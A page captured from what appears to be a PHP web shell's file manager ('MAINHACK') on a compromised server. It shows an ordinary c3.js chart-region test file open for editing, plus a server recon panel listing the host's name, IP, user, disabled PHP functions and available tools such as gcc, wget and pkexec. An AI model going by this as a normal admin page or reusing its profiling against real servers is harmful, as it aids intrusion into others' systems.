[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.region-spec.js
describe('c3 api region', function () { 'use strict'; var chart, args; beforeEach(function (done) { chart = window.initChart(chart, args, done); }); describe('api.region', function () { beforeAll(function () { args = { data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ] }, regions: [ { axis: 'y', start: 300, end: 400, class: 'green', }, { axis: 'y', start: 0, end: 100, class: 'green', } ] }; }); it('updates regions', function (done) { var main = chart.internal.main, expectedRegions = [ { axis: 'y', start: 250, end: 350, class: 'red' }, { axis: 'y', start: 25, end: 75, class: 'red' } ], regions; // Call regions API chart.regions(expectedRegions); setTimeout(function () { regions = main.selectAll('.c3-region'); expect(regions.size()).toBe(expectedRegions.length); regions.each(function (d, i) { var region = d3.select(this), rect = region.select('rect'), y = +rect.attr('y'), height = +rect.attr('height'), expectedClass = 'red', unexpectedClass = 'green', expectedStart = Math.round(chart.internal.y(expectedRegions[i].start)), expectedEnd = Math.round(chart.internal.y(expectedRegions[i].end)), expectedY = expectedEnd, expectedHeight = expectedStart - expectedEnd; expect(y).toBeCloseTo(expectedY, -1); expect(height).toBeCloseTo(expectedHeight, -1); expect(region.classed(expectedClass)).toBeTruthy(); expect(region.classed(unexpectedClass)).toBeFalsy(); }); }, 500); setTimeout(function () { done(); }, 1000); }); }); describe('api.region.add', function () { beforeAll(function () { args = { data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ] }, regions: [ { axis: 'y', start: 300, end: 400, class: 'green', }, { axis: 'y', start: 0, end: 100, class: 'green', } ] }; }); it('should add regions', function (done) { var main = chart.internal.main, expectedRegions = [ { axis: 'y', start: 300, end: 400, class: 'green', }, { axis: 'y', start: 0, end: 100, class: 'green', }, { axis: 'y', start: 250, end: 350, class: 'red' }, { axis: 'y', start: 25, end: 75, class: 'red' } ], expectedClasses = [ 'green', 'green', 'red', 'red', ], regions; // Call regions API chart.regions(expectedRegions); setTimeout(function () { regions = main.selectAll('.c3-region'); expect(regions.size()).toBe(expectedRegions.length); regions.each(function (d, i) { var region = d3.select(this), rect = region.select('rect'), y = +rect.attr('y'), height = +rect.attr('height'), expectedClass = expectedClasses[i], expectedStart = Math.round(chart.internal.y(expectedRegions[i].start)), expectedEnd = Math.round(chart.internal.y(expectedRegions[i].end)), expectedY = expectedEnd, expectedHeight = expectedStart - expectedEnd; expect(y).toBeCloseTo(expectedY, -1); expect(height).toBeCloseTo(expectedHeight, -1); expect(region.classed(expectedClass)).toBeTruthy(); }); }, 500); setTimeout(function () { done(); }, 1000); }); }); describe('api.region.remove', function () { beforeAll(function () { args = { data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ] }, regions: [ { axis: 'y', start: 300, end: 400, class: 'green', }, { axis: 'y', start: 0, end: 100, class: 'green', }, { axis: 'y', start: 250, end: 350, class: 'red' }, ] }; }); it('should remove regions', function (done) { var main = chart.internal.main, expectedRegions = [ { axis: 'y', start: 250, end: 350, class: 'red' }, ], expectedClasses = ['red'], regions; // Call regions API chart.regions(expectedRegions); setTimeout(function () { regions = main.selectAll('.c3-region'); expect(regions.size()).toBe(expectedRegions.length); regions.each(function (d, i) { var region = d3.select(this), rect = region.select('rect'), y = +rect.attr('y'), height = +rect.attr('height'), expectedClass = expectedClasses[i], expectedStart = Math.round(chart.internal.y(expectedRegions[i].start)), expectedEnd = Math.round(chart.internal.y(expectedRegions[i].end)), expectedY = expectedEnd, expectedHeight = expectedStart - expectedEnd; expect(y).toBeCloseTo(expectedY, -1); expect(height).toBeCloseTo(expectedHeight, -1); expect(region.classed(expectedClass)).toBeTruthy(); }); }, 500); setTimeout(function () { done(); }, 1000); }); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002